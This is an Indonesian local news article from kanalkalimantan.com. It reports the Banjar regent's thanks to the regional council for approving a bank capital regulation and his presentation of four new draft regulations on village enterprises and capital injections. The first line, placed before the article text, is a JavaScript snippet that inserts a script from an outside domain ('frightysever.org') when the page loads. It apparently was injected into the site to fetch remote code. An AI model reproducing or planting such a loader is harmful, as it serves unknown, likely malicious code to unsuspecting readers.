(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur menyampaikan terima kasih kepada DPRD Banjar atas dukungan, saran dan apresiasi sehingga Rancangan Peraturan Daerah (Raperda) tentang Penambahan Penyertaan Modal Pemerintah Daerah kepada PT Bank Pembangunan Daerah Kalimantan Selatan (BPD Kalsel) Perseroda dapat diselesaikan dan disetujui tepat waktu.
“Semoga Perda tersebut nantinya dapat dilaksanakan dan memberikan manfaat bagi kesejahteraan masyarakat Kabupaten Banjar,” harap Saidi.
Hal itu disampaikan bupati saat rapat paripurna yang dipimpin Ketua DPRD H Agus Maulana didampingi unsur wakil pimpinan, di Ruang Paripurna DPRD Banjar, Martapura, Kamis (20/11/2025) siang.
Baca juga: Pemkab Kapuas Evaluasi Kinerja Direktur Perumdam Tirta Pambelom
Bupati juga menyampaikan empat Raperda baru kepada DPRD, yaitu Raperda tentang Badan Usaha Milik Desa (BUMDes), Raperda tentang Penambahan Penyertaan Modal berupa Barang Milik Daerah kepada Perumda Pasar Bauntung Batuah.
Raperda tentang Penambahan Penyertaan Modal berupa Barang Milik Daerah kepada PT Air Minum Intan Banjar Perseroda. Raperda tentang Penambahan Penyertaan Modal Pemerintah Daerah kepada PT Bank Perekonomian Rakyat Martapura Banjar Sejahtera (BPR MBS) Perseroda.
Saidi Mansyur menegaskan pentingnya keberadaan BUMDes sebagai konsolidator produk dan layanan publik di desa.
Karena itu, menurutnya, regulasi daerah diperlukan sebagai landasan hukum pembinaan dan pengelolaan BUMDes maupun BUMDes Bersama.
Baca juga: Forkopimda Berikan Materi Penguatan Wawasan Kebangsaan dan Kamtibmas
Bupati memaparkan beberapa rencana penambahan penyertaan modal, antara lain, Perumda Pasar Bauntung Batuah, berupa barang milik daerah, yakni bangunan Kantor PD Pasar Bauntung Batuah tahun 1991, senilai Rp 2.655.496.000.
PT Air Minum Intan Banjar Perseroda, penambahan modal berupa pekerjaan pengadaan dan pemasangan sarana prasarana air bersih, dengan nilai Rp 75.455.294.000.
Kemudian, PT BPR MBS Perseroda, penambahan modal sebesar Rp 12.500.000.000 untuk mendukung program Kredit Usaha Rakyat Martapura Maju Mandiri Agamis (Kurma Manis).
Penambahan modal tersebut dijadwalkan berlangsung pada 2026 – 2030, masing-masing Rp 2,5 miliar per tahun.
Saidi berharap dukungan penuh DPRD Banjar dalam pembahasan hingga penetapan tiga Raperda terkait penyertaan modal tersebut.
Selain penyampaian Raperda, rapat paripurna juga mengagendakan, pendapat akhir fraksi-fraksi terhadap Raperda APBD Tahun Anggaran 2026.
Pengambilan keputusan Raperda APBD TA 2026. Penyampaian laporan Badan Anggaran dan Pansus mengenai Penambahan Penyertaan Modal berupa uang kepada BPD Kalsel Perseroda. (kanalkalimantan.com/dkispbanjar)
Editor: Dhani
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.